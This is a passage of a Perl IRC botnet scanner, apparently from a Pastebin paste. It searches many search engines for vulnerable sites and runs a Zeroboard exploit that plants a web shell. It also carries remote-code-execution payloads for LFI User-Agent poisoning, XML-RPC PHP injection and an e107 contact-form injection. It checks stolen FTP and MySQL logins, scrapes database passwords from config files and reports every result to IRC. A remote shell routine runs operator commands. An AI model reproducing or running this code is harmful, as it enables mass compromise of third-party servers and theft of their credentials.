					if ($cekup =~ /enctype=\"multipart\/form-data"/i) { &msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader." 15]");&msg("$admin","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader." 15]"); }

1216
					if ($cekup2 =~ /enctype=\"multipart\/form-data"/i) { &msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader2." 15]");&msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader2." 15]"); }

1217
					}

1218
					}

1219
				} exit;

1220
			}

1221
		}

1222
	}

1223
}

1224
1225
sub ftp_connect {

1226
	my $url = $_[0];

1227
	my $host = $_[1];

1228
	my $user = $_[2];

1229
	my $pass = $_[3];

1230
	my $chan = $_[4];

1231
	my $engine = $_[5];

1232
	my $logo = $_[6];

1233
	my $success = 1;

1234
	use Net::FTP;

1235
	my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);

1236
		$success = 0 if $ftp->login($user,$pass);

1237
		$ftp->quit;

1238
		if ($success == 0) {

1239
		&msg("$chanxxx","$logo15$engine 9<4=9>9 FTP 15[ 9http://".$host." 15] [4 ".$user.":".$pass." 15]");

1240
	}

1241
}

1242
sub dbi_connect () {

1243
	my $host = $_[0];

1244
	my $user = $_[1];

1245
	my $pass = $_[2];

1246
	my $dtbs = $_[3];

1247
	my $chan = $_[4];

1248
	my $engine = $_[5];

1249
	my $logo = $_[6];

1250
	my $port = "3306";

1251
	my $platform = "mysql";

1252
	my $dsn = "dbi:$platform:$dtbs:$host:$port";

1253
	my $DBIconnect=  DBI->connect($dsn,$user,$pass);

1254
		if ($DBIconnect) {

1255
		&msg("$chanxxx","$logo15$engine 9<4=9>9 MySql 15[ 9http://".$host." 15] [4 Connected 15]");

1256
	}

1257
}

1258
sub getUserPass() {

1259
	my $string = $_[0];

1260
	my @lol = split("\r\n", $string);

1261
	my $pass = "";

1262
	my $user = "";

1263
	foreach my $line (@lol) {

1264
		if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {

1265
			$pass = $3;

1266
		}

1267
		if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {

1268
			$user = $3;

1269
		}

1270
	}

1271
	return $user.":Viva-Byroe.Net:".$pass;

1272
}

1273
1274
sub getinfo() {

1275
	my $string = $_[0];

1276
	my @lol = split("\r\n", $string);

1277
	my $pass = "";

1278
	my $user = "";

1279
	my $dbs = "";

1280
	foreach my $line (@lol) {

1281
		if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {

1282
			$pass = $3;

1283
		}

1284
		if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {

1285
			$user = $3;

1286
		}

1287
		if(($line =~ m/db_name(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_name(.*?)=(.*?)"(.+?)";/i)) {

1288
			$dbs = $3;

1289
		}

1290
	}

1291
	return $user.":user:".$pass.":pass:".$dbs;

1292
}

1293
1294
sub zero_exploit() {

1295
	my $chan = $_[0];

1296
	my $bug = $_[1];

1297
	my $simpan = $_[2];

1298
	my $dork = $_[3];

1299
	my $engine = $_[4];

1300
	my $count = 0;

1301
    my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zerologo);

1302
    my $num = scalar(@totexploit);

1303
    if ($num > 0){

1304
    	foreach my $site(@totexploit){

1305
			$count++;

1306
			if ($count == $num-1) { &msg("$chan","$zerologo15$engine 9Finished 15for 9$dork "); }

1307
			my $coba = "http://".$site.$bug;

1308
			if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {

1309
				my $cek = &get_content($coba);sleep(1);

1310
				if ($cek =~ /Zeroboard/) { system("./zbc $coba 80");sleep(1);

1311
					my $vulner1 = "http://".$site.$action."?cmd=";

1312
					my $vulner2 = "http://".$site.$action.$wgetdon;

1313
					my $vulner3 = "http://".$site.$action.$lwpdon;

1314
					my $vulner4 = "http://".$site.$action.$curldon;

1315
					my $vuln1 = "http://".$site."/data/kekkaishi.php";

1316
					my $check2 = &get_content($vulner1);

1317
					if ($check2 =~ /Byroe Team/) {

1318
						if ($zerowget == 1) { my $coba1 = &get_content($vulner2);sleep(2); }

1319
						if ($zerolwp == 1 ) { my $coba2 = &get_content($vulner3);sleep(2); }

1320
						if ($zerocurl == 1) { my $coba3 = &get_content($vulner4);sleep(2); }

1321
						my $check1 = &get_content($vuln1);

1322
						if ($check1 =~ /stunshell/i) {

1323
							my $safe = ""; my $os = ""; my $uid = "";

1324
							if ($check1 =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}

1325
							if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}

1326
							if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}

1327
								&msg("$admin","$zerologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$vuln1."15 (SafeMode=$safe) (OS=$os) uid=$uid ");

1328
								&msg("$chan","$zerologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$vuln1."15 (SafeMode=$safe) (OS=$os) uid=$uid ");

1329
						} else {

1330
							&msg("$chan","$zerologo15$engine 9<4=9>9 Cek dewe 15 $vulner1 ");

1331
						} sleep(2);

1332
					}

1333
				}

1334
			} exit; }

1335
		}

1336
	}

1337
}

1338
1339
##################################################################################

1340
1341
sub search_engine() {

1342
    my (@total,@clean);

1343
    my $chan = $_[0];

1344
    my $bug = $_[1];

1345
    my $dork = $_[2];

1346
    my $engine = $_[3];

1347
    my $logo = $_[4];

1348
	if ($gps == 1) {

1349
    if ($engine eq "JacKAE") { my @jackae = &jack1($dork."+site:ae"); push(@total,@jackae); }

1350
    if ($engine eq "JacKAR") { my @jackar = &jack2($dork."+site:ar"); push(@total,@jackar); }

1351
    if ($engine eq "JacKAT") { my @jackat = &jack3($dork."+site:at"); push(@total,@jackat); }

1352
    if ($engine eq "JacKAU") { my @jackau = &jack4($dork."+site:au"); push(@total,@jackau); }

1353
    if ($engine eq "JacKBR") { my @jackbr = &jack5($dork."+site:br"); push(@total,@jackbr); }

1354
    if ($engine eq "JacKCA") { my @jackca = &jack1($dork."+site:ca"); push(@total,@jackca); }

1355
    if ($engine eq "JacKCL") { my @jackcl = &jack2($dork."+site:cl"); push(@total,@jackcl); }

1356
    if ($engine eq "JacKCN") { my @jackcn = &jack3($dork."+site:cn"); push(@total,@jackcn); }

1357
    if ($engine eq "JacKCoM") { my @jackcom = &jack4($dork."+site:com"); push(@total,@jackcom); }

1358
    if ($engine eq "JacKCZ") { my @jackcz = &jack5($dork."+site:cz"); push(@total,@jackcz); }

1359
    if ($engine eq "JacKDE") { my @jackde = &jack1($dork."+site:de"); push(@total,@jackde); }

1360
    if ($engine eq "JacKDK") { my @jackdk = &jack2($dork."+site:dk"); push(@total,@jackdk); }

1361
    if ($engine eq "JacKES") { my @jackes = &jack3($dork."+site:es"); push(@total,@jackes); }

1362
    if ($engine eq "JacKEU") { my @jackeu = &jack4($dork."+site:eu"); push(@total,@jackeu); }

1363
    if ($engine eq "JacKFR") { my @jackfr = &jack5($dork."+site:fr"); push(@total,@jackfr); }

1364
    if ($engine eq "JacKHU") { my @jackhu = &jack1($dork."+site:hu"); push(@total,@jackhu); }

1365
    if ($engine eq "JacKID") { my @jackid = &jack2($dork."+site:id"); push(@total,@jackid); }

1366
    if ($engine eq "JacKIL") { my @jackil = &jack3($dork."+site:il"); push(@total,@jackil); }

1367
    if ($engine eq "JacKIN") { my @jackin = &jack4($dork."+site:in"); push(@total,@jackin); }

1368
    if ($engine eq "JacKInfO") { my @jackinfo = &jack5($dork."+site:info"); push(@total,@jackinfo); }

1369
    if ($engine eq "JacKIR") { my @jackir = &jack1($dork."+site:ir"); push(@total,@jackir); }

1370
    if ($engine eq "JacKIT") { my @jackit = &jack2($dork."+site:it"); push(@total,@jackit); }

1371
    if ($engine eq "JacKJP") { my @jackjp = &jack3($dork."+site:jp"); push(@total,@jackjp); }

1372
    if ($engine eq "JacKKR") { my @jackkr = &jack4($dork."+site:kr"); push(@total,@jackkr); }

1373
    if ($engine eq "JacKMX") { my @jackmx = &jack5($dork."+site:mx"); push(@total,@jackmx); }

1374
    if ($engine eq "JacKMY") { my @jackmy = &jack1($dork."+site:my"); push(@total,@jackmy); }

1375
    if ($engine eq "JacKNeT") { my @jacknet = &jack2($dork."+site:net"); push(@total,@jacknet); }

1376
    if ($engine eq "JacKNL") { my @jacknl = &jack3($dork."+site:nl"); push(@total,@jacknl); }

1377
    if ($engine eq "JacKOrG") { my @jackorg = &jack4($dork."+site:org"); push(@total,@jackorg); }

1378
    if ($engine eq "JacKPH") { my @jackph = &jack5($dork."+site:ph"); push(@total,@jackph); }

1379
    if ($engine eq "JacKPL") { my @jackpl = &jack1($dork."+site:pl"); push(@total,@jackpl); }

1380
    if ($engine eq "JacKRO") { my @jackro = &jack2($dork."+site:ro"); push(@total,@jackro); }

1381
    if ($engine eq "JacKRU") { my @jackru = &jack3($dork."+site:ru"); push(@total,@jackru); }

1382
    if ($engine eq "JacKTH") { my @jackth = &jack4($dork."+site:th"); push(@total,@jackth); }

1383
    if ($engine eq "JacKUA") { my @jackua = &jack5($dork."+site:ua"); push(@total,@jackua); }

1384
    if ($engine eq "JacKUK") { my @jackuk = &jack1($dork."+site:uk"); push(@total,@jackuk); }

1385
    if ($engine eq "JacKUS") { my @jackus = &jack2($dork."+site:us"); push(@total,@jackus); }

1386
    if ($engine eq "JacKSI") { my @jacksi = &jack3($dork."+site:si"); push(@total,@jacksi); }

1387
    if ($engine eq "JacKBE") { my @jackbe = &jack4($dork."+site:be"); push(@total,@jackbe); }

1388
    if ($engine eq "JacKBIZ") { my @jackbiz = &jack5($dork."+site:biz"); push(@total,@jackbiz); }

1389
	}

1390
    if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }

1391
	if ($gps2 == 1) {

1392
    if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }

1393
    if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }

1394
    if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }

1395
    if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }

1396
    if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }

1397
    if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }

1398
    if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }

1399
    if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }

1400
    if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }

1401
    if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }

1402
    if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }

1403
    if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }

1404
    if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }

1405
	}

1406
    @clean = &clean(@total);

1407
    if ($silentmode == 0) {

1408
    &msg("$chan","$logo15$engine 4<9=4>9 Total:4 [15".scalar(@total)."4] 9 Clean:4 [15".scalar(@clean)."4] "); }

1409
    return @clean;

1410
}

1411
##################################################################################

1412
sub isFound() {

1413
    my $status = 0;

1414
    my $link = $_[0];

1415
    my $reqexp = $_[1];

1416
    my $res = &get_content($link);

1417
    if ($res =~ /$reqexp/) { $status = 1 }

1418
    return $status;

1419
}

1420
1421
sub get_content() {

1422
    my $url = $_[0];

1423
    my $ua = LWP::UserAgent->new(agent => $uagent);

1424
    $ua->timeout($timot);

1425
    my $req = HTTP::Request->new(GET => $url);

1426
    my $res = $ua->request($req);

1427
    return $res->content;

1428
}

1429
######################################### SEARCH ENGINE

1430
1431
sub jack1() {

1432
    my @list;

1433
    my $key = $_[0];

1434
    for (my $i=0; $i<=1000; $i+=100){

1435
        my $search = ($jack1.uri_escape($key)."&num=100&start=".$i);

1436
        my $res = &search_engine_query($search);

1437
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {

1438
            my $link = $1;

1439
            if ($link !~ /google/){

1440
                my @grep = &links($link);

1441
                push(@list,@grep);

1442
            }

1443
        }

1444
    }

1445
    return @list;

1446
}

1447
1448
sub jack2() {

1449
    my @list;

1450
    my $key = $_[0];

1451
    for (my $i=0; $i<=1000; $i+=100){

1452
        my $search = ($jack2.uri_escape($key)."&num=100&start=".$i);

1453
        my $res = &search_engine_query($search);

1454
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {

1455
            my $link = $1;

1456
            if ($link !~ /google/){

1457
                my @grep = &links($link);

1458
                push(@list,@grep);

1459
            }

1460
        }

1461
    }

1462
    return @list;

1463
}

1464
1465
sub jack3() {

1466
    my @list;

1467
    my $key = $_[0];

1468
    for (my $i=0; $i<=1000; $i+=100){

1469
        my $search = ($jack3.uri_escape($key)."&num=100&start=".$i);

1470
        my $res = &search_engine_query($search);

1471
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {

1472
            my $link = $1;

1473
            if ($link !~ /google/){

1474
                my @grep = &links($link);

1475
                push(@list,@grep);

1476
            }

1477
        }

1478
    }

1479
    return @list;

1480
}

1481
1482
sub jack4() {

1483
    my @list;

1484
    my $key = $_[0];

1485
    for (my $i=0; $i<=1000; $i+=100){

1486
        my $search = ($jack4.uri_escape($key)."&num=100&start=".$i);

1487
        my $res = &search_engine_query($search);

1488
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {

1489
            my $link = $1;

1490
            if ($link !~ /google/){

1491
                my @grep = &links($link);

1492
                push(@list,@grep);

1493
            }

1494
        }

1495
    }

1496
    return @list;

1497
}

1498
1499
sub jack5() {

1500
    my @list;

1501
    my $key = $_[0];

1502
    for (my $i=0; $i<=1000; $i+=100){

1503
        my $search = ($jack5.uri_escape($key)."&num=100&start=".$i);

1504
        my $res = &search_engine_query($search);

1505
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {

1506
            my $link = $1;

1507
            if ($link !~ /google/){

1508
                my @grep = &links($link);

1509
                push(@list,@grep);

1510
            }

1511
        }

1512
    }

1513
    return @list;

1514
}

1515
1516
sub google() {

1517
    my @list;

1518
    my $key = $_[0];

1519
    for (my $i=0; $i<=1000; $i+=100){

1520
        my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);

1521
        my $res = &search_engine_query($search);

1522
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {

1523
            my $link = $1;

1524
            if ($link !~ /google/){

1525
                my @grep = &links($link);

1526
                push(@list,@grep);

1527
            }

1528
        }

1529
    }

1530
    return @list;

1531
}

1532
1533
sub walla() {

1534
	my @list;

1535
	my $key = $_[0];

1536
	for ($b=0; $b<=100; $b+=1) {

1537
        my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);

1538
        my $res = &search_engine_query($search);

1539
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {

1540
            my $link = $1;

1541
            if ($link !~ /walla\.co\.il/){

1542
                my @grep = &links($link);

1543
                push(@list,@grep);

1544
            }

1545
        }

1546
    }

1547
    return @list;

1548
}

1549
1550
sub yahoo(){

1551
    my @list;

1552
	my $key = $_[0];

1553
	for ($b=1; $b<=1000; $b+=10) {

1554
        my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);

1555
        my $res = &search_engine_query($search);

1556
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {

1557
            my $link = $1;

1558
            if ($link !~ /yahoo\.com/){

1559
                my @grep = &links($link);

1560
                push(@list,@grep);

1561
            }

1562
        }

1563
    }

1564
    return @list;

1565
}

1566
1567
sub ask() {

1568
	my @list;

1569
	my $key = $_[0];

1570
	for (my $i=1; $i<=1000; $i+=100) {

1571
		my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");

1572
		my $res = &search_engine_query($search);

1573
		while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {

1574
            my $link = $1;

1575
			if ($link !~ /ask\.com/){

1576
				my @grep = &links($link);

1577
				push(@list,@grep);

1578
			}

1579
		}

1580
	}

1581
	return @list;

1582
}

1583
1584
sub onet() {

1585
	my @list;

1586
	my $key = $_[0];

1587
	my $b   = 0;

1588
	for ($b=1; $b<=400; $b+=10) {

1589
		my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));

1590
		my $res = &search_engine_query($search);

1591
		while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {

1592
			my $link = $1;

1593
			if ($link !~ /onet|webcache|query/){

1594
				my @grep = &links($link);

1595
                push(@list,@grep);

1596
			}

1597
		}

1598
	}

1599
	return @list;

1600
}

1601
1602
sub clusty() {

1603
    my @list;

1604
	my $key = $_[0];

1605
    my $b   = 0;

1606
	for ($b=10; $b<=200; $b+=10) {

1607
        my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");

1608
        my $res = &search_engine_query($search);

1609
		if ($res !~ /next/) {$b=100;}

1610
        while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {

1611
            my $link = $1;

1612
            if ($1 !~ /yippy\.com/){

1613
                my @grep = &links($link);

1614
                push(@list,@grep);

1615
            }

1616
        }

1617
    }

1618
    return @list;

1619
}

1620
1621
sub bing() {

1622
    my @list;

1623
    my $key = $_[0];

1624
    for (my $i=1; $i<=400; $i+=10) {

1625
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);

1626
        my $res = &search_engine_query($search);

1627
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {

1628
			my $link = $1;

1629
            if ($link !~ /google/) {

1630
                my @grep = &links($link);

1631
                push(@list,@grep);

1632
            }

1633
        }

1634
    }

1635
    return @list;

1636
}

1637
1638
sub sapo(){

1639
    my @list;

1640
	my $key = $_[0];

1641
	for ($b=1; $b<=50; $b+=1) {

1642
        my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");

1643
        my $res = &search_engine_query($search);

1644
		if ($res !~ m/Next/i) {$b=50;}

1645
        while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {

1646
            my $link = $1;

1647
            if ($1 !~ /\.sapo\.pt/){

1648
                my @grep = &links($link);

1649
                push(@list,@grep);

1650
            }

1651
        }

1652
    }

1653
    return @list;

1654
}

1655
1656
sub lycos() { 

1657
  my @list;

1658
  my $key = $_[0];

1659
    for ($b=0; $b<=50; $b+=1) {

1660
        my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);

1661
        my $res = &search_engine_query($search);

1662
        while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {

1663
            my $link = $1;

1664
            if ($link !~ /lycos\.com/){

1665
                my @grep = &links($link);

1666
                push(@list,@grep);

1667
            }

1668
        }

1669
    }

1670
    return @list;	

1671
}

1672
1673
sub uol() {

1674
	my @list;

1675
	my $key = $_[0];

1676
    for ($b=0; $b<=1000; $b+=10) {

1677
        my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);

1678
        my $res = &search_engine_query($search);

1679
		if ($res =~ m/retornou nenhum resultado/i) {$b=500;}

1680
        while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {

1681
            my $link = $1;

1682
            if ($link !~ /uol\.com\.br|\/web/i){

1683
                my @grep = &links($link);

1684
                push(@list,@grep);

1685
            }

1686
        }

1687
    }

1688
    return @list;

1689
}

1690
1691
sub seznam() {

1692
	my @list;

1693
	my $key = $_[0];

1694
    for ($b=1; $b<=300; $b+=20) {

1695
        my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);

1696
        my $res = &search_engine_query($search);

1697
        while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {

1698
            my $link = $1;

1699
            if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){

1700
                my @grep = &links($link);

1701
                push(@list,@grep);

1702
            }

1703
        }

1704
    }

1705
    return @list;

1706
}

1707
1708
sub hotbot() {

1709
  my @list;

1710
  my $key = $_[0];

1711
    for ($b=0; $b<=50; $b+=1) {

1712
        my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));

1713
        my $res = &search_engine_query($search);

1714
		if ($res =~ m/had no web result/i) {$b=50;}

1715
        while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {

1716
            my $link = $1;

1717
            if ($link !~ /hotbot\.com/){

1718
                my @grep = &links($link);

1719
                push(@list,@grep);

1720
            }

1721
        }

1722
    }

1723
    return @list;	

1724
}

1725
1726
sub aol() {

1727
	my @list;

1728
	my $key = $_[0];

1729
	for ($b=0; $b<=300; $b+=10) {

1730
		my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);

1731
		my $res = &search_engine_query($search);

1732
		while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {

1733
			my $link = $1;

1734
			if ($link !~ /aol\.com/){

1735
				my @grep = &links($link);

1736
				push(@list,@grep);

1737
			}

1738
		}

1739
	}

1740
	return @list;

1741
}

1742
1743
sub biglobe {

1744
  my $key = $_[0];

1745
  my @list;

1746
  for ($b=1; $b<=500; $b+=10) {

1747
    $num += $num;

1748
    my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";

1749
    my $res = &search_engine_query($search);

1750
    while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {

1751
	    my $link = $1;

1752
        if ($link !~ /biglobe/){

1753
                my @grep = &links($link);

1754
                push(@list,@grep);

1755
            }

1756
        }

1757
    }

1758
    return @list;

1759
}

1760
1761
#########################################

1762
1763
sub clean() {

1764
    my @cln = ();

1765
    my %visit = ();

1766
    foreach my $element (@_) {

1767
        $element =~ s/\/+/\//g;

1768
        next if $visit{$element}++;

1769
        push @cln, $element;

1770
    }

1771
    return @cln;

1772
}

1773
1774
sub links() {

1775
    my @list;

1776
    my $link = $_[0];

1777
    my $host = $_[0];

1778
    my $hdir = $_[0];

1779
    $hdir =~ s/(.*)\/[^\/]*$/\1/;

1780
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;

1781
    $host .= "/";

1782
    $link .= "/";

1783
    $hdir .= "/";

1784
    $host =~ s/\/\//\//g;

1785
    $hdir =~ s/\/\//\//g;

1786
    $link =~ s/\/\//\//g;

1787
    push(@list,$link,$host,$hdir);

1788
    return @list;

1789
}

1790
1791
sub search_engine_query() {

1792
	my $url = $_[0];

1793
	$url =~ s/http:\/\///;

1794
	my $host = $url;

1795
	my $query = $url;

1796
	my $page  = "";

1797
	$host =~ s/href=\"?http:\/\///;

1798
	$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;

1799
	$query =~ s/$host//;

1800
	if ($query eq "") { $query = "/"; }

1801
		eval {

1802
			my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;

1803
			my $sget = "GET $query HTTP/1.0\r\n";

1804
			$sget .= "Host: $host\r\n";

1805
			$sget .= "Accept: */*\r\n";

1806
			$sget .= "User-Agent: $uagent\r\n";

1807
			$sget .= "Connetion: Close\r\n\r\n";

1808
			print $sock $sget;

1809
			my @pages = <$sock>;

1810
			$page = "@pages";

1811
			close($sock);

1812
		};

1813
	return $page;

1814
}

1815
1816
#########################################

1817
1818
sub shell() {

1819
    my $path = $_[0];

1820
    my $cmd = $_[1];

1821
    if ($cmd =~ /cd (.*)/) {

1822
        chdir("$1") || &msg("$path","No such file or directory");

1823
        return;

1824
    }

1825
    elsif ($pid = fork) { waitpid($pid, 0); }

1826
    else { if (fork) { exit; } else {

1827
        my @output = `$cmd 2>&1 3>&1`;

1828
        my $c = 0;

1829
        foreach my $output (@output) {

1830
            $c++;

1831
            chop $output;

1832
            &msg("$path","$output");

1833
            if ($c == 5) { $c = 0; sleep 3; }

1834
        }

1835
        exit;

1836
    }}

1837
}

1838
1839
sub isAdmin() {

1840
    my $status = 0;

1841
    my $nick = $_[0];

1842
    if ($nick eq $admin) { $status = 1; }

1843
    return $status;

1844
}

1845
1846
sub msg() {

1847
    return unless $#_ == 1;

1848
    sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");

1849
}

1850
1851
sub nick() {

1852
    return unless $#_ == 0;

1853
    sendraw("NICK $_[0]");

1854
}

1855
sub notice() {

1856
    return unless $#_ == 1;

1857
    sendraw("NOTICE $_[0] :$_[1]");

1858
}

1859
1860
sub cmdlfi() {

1861
my $browser = LWP::UserAgent->new;

1862
my $url  = $_[0];

1863
my $cmd  = $_[1];

1864
my $chan = $_[2];

1865
my $hie = "lobex<?system(\"$cmd 2> /dev/stdout\"); ?>byroe";

1866
$browser->agent("$hie");

1867
$browser->timeout(7);

1868
$response = $browser->get( $url );

1869
if ($response->content =~ /lobex(.*)byroe/s) {

1870
&msg("$chan","$lfilogo9 ".$1." ");

1871
} else {

1872
&msg("$chan","$lfilogo15 No Output ");

1873
}

1874
}

1875
 

1876
sub cmdxml() {

1877
my $jed  = $_[0];

1878
my $dwa  = $_[1];

1879
my $chan = $_[2];

1880
my $userAgent = LWP::UserAgent->new(agent => 'perl post');

1881
        $exploit = "<?xml version=\"1.0\"?><methodCall>";

1882
        $exploit .= "<methodName>test.method</methodName>";

1883
        $exploit .= "<params><param><value><name>',''));";

1884
        $exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*</name></value></param></params></methodCall>";

1885
my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);

1886
if ($response->content =~ /bamby(.*)solo/s) {

1887
&msg("$chan","$xmllogo9 $1 ");

1888
} else {

1889
&msg("$chan","$xmllogo15 No Output ");

1890
}

1891
}

1892
 

1893
sub cmde107() {

1894
my $path  = $_[0];

1895
my $code = $_[1];

1896
my $chan  = $_[2];

1897
my $codecmd = encode_base64($code);

1898
my $cmd = 'echo(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("'.$codecmd.'"));';

1899
    my $req = HTTP::Request->new(POST => $path);

1900
    $req->content_type('application/x-www-form-urlencoded');

1901
    $req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D");

1902
    my $ua = LWP::UserAgent->new(agent => $uagent);

1903
    $ua->timeout(7);

1904
    my $res = $ua->request($req);

1905
my $data = $res->as_string;

1906
if ( $data =~ /ByroeNet(.*)/ ){

1907
     $mydata = $1;

1908
&msg("$chan","0,1(0E1070)4 $mydata");

1909
}

1910
else { &msg("$chan","0,1(0E1070)4 No Output"); }

1911
}
        

    


            


                                


        

            



                
    

        Public Pastes
    

    
            

    

                    

        

    





    


    
    
    
    
    
    
    
    




    


    



                

            We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.             OK, I Understand
        

    
                

            

                
                    
                
            

            

                Not a member of Pastebin yet?

                Sign Up, it unlocks many cool features!